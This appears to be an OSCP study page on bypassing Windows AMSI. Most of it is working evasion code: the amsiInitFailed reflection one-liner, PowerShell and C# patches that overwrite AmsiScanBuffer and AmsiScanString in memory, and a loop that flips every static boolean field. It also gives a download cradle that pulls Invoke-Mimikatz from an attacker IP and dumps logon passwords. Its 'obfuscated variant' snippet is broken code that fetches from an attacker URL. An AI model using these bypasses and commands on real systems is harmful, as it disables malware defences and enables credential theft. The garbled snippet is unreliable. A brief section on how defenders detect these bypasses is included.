Domain 3Exploit Dev & AV EvasionCORE

AMSI Bypass Techniques

Comprehensive AMSI bypass guide covering what AMSI is, how it works, and multiple bypass techniques including amsiInitFailed patching, memory patching of AmsiScanBuffer, C# implementation, and universal bypass methods.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#amsi#bypass#patching#powershell#antimalware-scan-interface

AMSI Bypass Techniques

What is AMSI?

AMSI (Antimalware Scan Interface) is a standardized API introduced by Microsoft in Windows 10 (1703+) and Windows Server 2016. It provides a uniform bridge between applications and antimalware products, enabling real-time scanning of scripts and content in memory before execution.

Unlike traditional AV which scans files on disk, AMSI inspects in-memory content — making it a critical defense against fileless attacks and scripted malware.

Key platforms that integrate AMSI:

  • PowerShell (v5.0+)
  • Microsoft Scripting Host (cscript.exe, wscript.exe — JS/VBS)
  • .NET Runtime (C#, compiled assemblies)
  • Office VBA macros
  • Edge/IE scripting engines

How AMSI Works

The AMSI pipeline operates in three stages:

  1. Application calls AMSI API — The host application (e.g., PowerShell engine) calls AmsiScanBuffer() or AmsiScanString() before executing content.
  2. AMSI forwards to AV — The AMSI infrastructure routes the content to any registered antimalware provider (Defender, third-party AV).
  3. AV returns a threat result — The provider returns AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, or AMSI_RESULT_DETECTED. If detected, execution is blocked.

Core AMSI functions:

Function Purpose
AmsiOpenSession() Initializes an AMSI session handle
AmsiScanBuffer() Scans raw binary buffers (used by .NET, compiled code)
AmsiScanString() Scans string content (used by PowerShell, JS, VBS)
AmsiCloseSession() Closes the AMSI session

These functions live in amsi.dll, loaded by the host process at runtime.


Technique 1: amsiInitFailed Field Patching (PowerShell)

The most common and reliable PowerShell AMSI bypass. This exploits a .NET boolean field inside the PowerShell engine that, when set to $true, makes PowerShell believe AMSI initialization failed — effectively disabling all AMSI scanning.

How it works:

PowerShell’s type system loads System.Management.Automation.AmsiUtils. This class has a static boolean field called amsiInitFailed. By default it’s $false (AMSI is active). Flip it to $true and PowerShell skips all AMSI calls.

One-liner (exam-ready):

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Obfuscated variant (bypasses basic string-based detection):

IEX ([ConVerT]('x'+'AbC')::WinDEcRyTSTring( [ConVeRT]('X'+'abC')::ToBaSe64StriNg( [SysTEm.IO.FiLE]::ReAdBYtES('http://attacker/payload.b64') ) ))

Run the amsiInitFailed patch BEFORE any malicious command. It only affects the current PowerShell session.

Why this works on OSCP:

  • Works on all Windows 10/Server 2016+ targets
  • Single line, easy to memorize
  • Does not modify amsi.dll — just a .NET field in the current process
  • No file write required

Technique 2: Memory Patching of AmsiScanBuffer

This technique directly patches the AmsiScanBuffer function in amsi.dll at the machine-code level, forcing it to always return S_OK (clean).

How it works:

The function’s first instruction is typically 48 89 5C 24 10 (a push/move). We patch the first byte to C3 (ret), so the function immediately returns success without scanning.

PowerShell implementation:

# Load required .NET types
$proc = [System.Diagnostics.Process]::GetCurrentProcess()
$mod = (Get-Process -Id $proc.Id).Modules | Where-Object { $_.ModuleName -eq 'amsi.dll' }

# Get base address of amsi.dll
$baseAddr = [IntPtr]$mod.BaseAddress

# Find AmsiScanBuffer export offset (varies by build — common offset: 0x2C10 on Win10 1809)
# More reliable: use GetProcAddress
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class AMSI {
    [DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$hAmsi = [AMSI]::LoadLibrary("amsi.dll")
$hFunc = [AMSI]::GetProcAddress($hAmsi, "AmsiScanBuffer")

# Patch first byte to 0xC3 (ret)
$oldProtect = 0
[AMSI]::VirtualProtect($hFunc, [UIntPtr]1, 0x40, [ref]$oldProtect)
[System.Byte[]]$patch = @(0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $hFunc, 1)
[AMSI]::VirtualProtect($hFunc, [UIntPtr]1, $oldProtect, [ref]$oldProtect)

Key points:

  • Patching 0x48 → 0x90 (nop) is also common but 0xC3 (ret) is more reliable
  • Must use VirtualProtect to change page protection from PAGE_EXECUTE_READ to PAGE_EXECUTE_READWRITE
  • This patch is process-wide — affects all future AMSI calls in the current process

Technique 3: Universal AMSI Bypass

This technique iterates all loaded assemblies, finds all types with a boolean field, and sets every boolean field to $true. This catches amsiInitFailed regardless of which assembly it lives in.

PowerShell implementation:

foreach ($assembly in [AppDomain]::CurrentDomain.GetAssemblies()) {
    foreach ($type in $assembly.GetTypes()) {
        foreach ($field in $type.GetFields([System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static)) {
            if ($field.FieldType -eq [bool]) {
                $field.SetValue($null, $true)
            }
        }
    }
}

Why “universal”?

  • Does not hardcode AmsiUtils or amsiInitFailed
  • Works even if Microsoft renames the class or field in future updates
  • Also flips other boolean flags that may control security features

Trade-off:

  • Slower (iterates all assemblies)
  • May have unintended side effects (flipping unrelated booleans)
  • Still reliable for OSCP exam scenarios

Technique 4: C# AMSI Bypass

When working with compiled C# tools (e.g., custom implants, Cobalt Strike, Sharp tools), you need a native-code approach.

Full C# implementation:

using System;
using System.Runtime.InteropServices;

public class AmsiBypass
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void PatchAmsiScanBuffer()
    {
        IntPtr hAmsi = LoadLibrary("amsi.dll");
        IntPtr hFunc = GetProcAddress(hAmsi, "AmsiScanBuffer");

        if (hFunc != IntPtr.Zero)
        {
            uint oldProtect = 0;
            VirtualProtect(hFunc, new UIntPtr(3), 0x40, out oldProtect);

            // Patch first 3 bytes: C3 (ret) or 90 90 90 (nop nop nop)
            byte[] patch = { 0xC3 };
            Marshal.Copy(patch, 0, hFunc, 1);

            VirtualProtect(hFunc, new UIntPtr(3), oldProtect, out oldProtect);
        }
    }

    public static void PatchAmsiScanString()
    {
        IntPtr hAmsi = LoadLibrary("amsi.dll");
        IntPtr hFunc = GetProcAddress(hAmsi, "AmsiScanString");

        if (hFunc != IntPtr.Zero)
        {
            uint oldProtect = 0;
            VirtualProtect(hFunc, new UIntPtr(3), 0x40, out oldProtect);

            byte[] patch = { 0xC3 };
            Marshal.Copy(patch, 0, hFunc, 1);

            VirtualProtect(hFunc, new UIntPtr(3), oldProtect, out oldProtect);
        }
    }
}

Usage in a C# program:

class Program
{
    static void Main(string[] args)
    {
        AmsiBypass.PatchAmsiScanBuffer();
        AmsiBypass.PatchAmsiScanString();
        // Now execute malicious code — AMSI will not scan it
    }
}

Compile with: csc bypass.cs or embed as a DLL loaded by your main tool.


Technique 5: .NET Reflection-Based Bypass

Similar to Technique 1 but uses explicit reflection types for clarity and compatibility.

$amsiUtilsType = [System.Reflection.Assembly]::GetAssembly([System.Management.Automation.PSObject]).GetTypes() |
    Where-Object { $_.Name -match 'AmsiUtils' }

if ($amsiUtilsType) {
    $field = $amsiUtilsType.GetField('amsiInitFailed',
        [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static)
    $field.SetValue($null, $true)
}

This is essentially Technique 1 written with explicit BindingFlags — useful if the shorthand [Ref].GetType(...) fails on certain PowerShell versions.


AMSI Bypass in Different Contexts

Context Recommended Technique Notes
Interactive PowerShell amsiInitFailed patch Fastest, simplest, works immediately
PowerShell scripts (.ps1) amsiInitFailed at top of script Add as first line before any other code
C# compiled tools AmsiScanBuffer memory patch Patch before any .NET code runs
Sharp tools / implants C# LoadLibrary + VirtualProtect Embed bypass at entry point
VBA macros AMSI cannot be easily bypassed Use alternative: disable via registry or exploit
JavaScript/VBS Memory patch via COM object More complex, less common on OSCP

Comparison of Techniques

Technique Reliability Detection Risk Complexity Best For
amsiInitFailed patch Very High Low (no DLL modification) Low PowerShell (OSCP primary)
AmsiScanBuffer byte patch High Medium (memory scan may detect) Medium C#, compiled tools
Universal boolean flip High Low Low Future-proof PowerShell bypass
C# VirtualProtect patch High Medium High Custom implants, red team tools
.NET reflection High Low Low Alternative when shorthand fails

AMSI Detection Methods

Defenders can detect AMSI bypass attempts through:

  1. Sysmon Event ID 24 — ImageLoad events showing amsi.dll loaded with unusual timing
  2. Memory scanning — EDR products scan for patched amsi.dll modules (unexpected C3 at function entry)
  3. ETW (Event Tracing for Windows) — PowerShell script block logging (Event ID 4104) captures scripts even if AMSI is bypassed
  4. AMSI session monitoring — Tracking AmsiOpenSession / AmsiScanBuffer call patterns
  5. Integrity checks — Some AV products verify amsi.dll module integrity in memory

OSCP note: The exam targets typically run Windows Defender with default settings. The amsiInitFailed patch is sufficient in most scenarios. EDR-grade detection is not usually present.


Practical OSCP Tips

Order of operations:

  1. Gain initial access (SMBExec, WinRM, etc.)
  2. Immediately apply AMSI bypass before running any detection-sensitive commands
  3. Then execute your enumeration, exploitation, or post-exploitation scripts

When to apply:

  • ✅ Before running any PowerShell download cradles (IEX (New-Object Net.WebClient)...)
  • ✅ Before executing Mimikatz via PowerShell
  • ✅ Before running Empire / Cobalt Strike beacon scripts
  • ✅ Before any encoded PowerShell commands
  • ❌ Not needed for native executables (.exe dropped to disk) — these bypass AMSI by design

Common exam scenario:

# Step 1: Bypass AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Step 2: Now safely run detection-sensitive commands
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.X/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug"; "sekurlsa::logonpasswords"'

Important caveats:

  • AMSI bypass is session-scoped — re-open PowerShell and re-apply
  • Does NOT disable Windows Defender real-time file protection (only script scanning)
  • On some hardened targets, combine with Constrained Language Mode bypass if needed
  • The amsiInitFailed field name has been stable since introduction — no known renames as of 2026

Quick reference — memorize this one-liner:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

This single line is the most frequently used AMSI bypass on the OSCP exam. Keep it in your cheat sheet.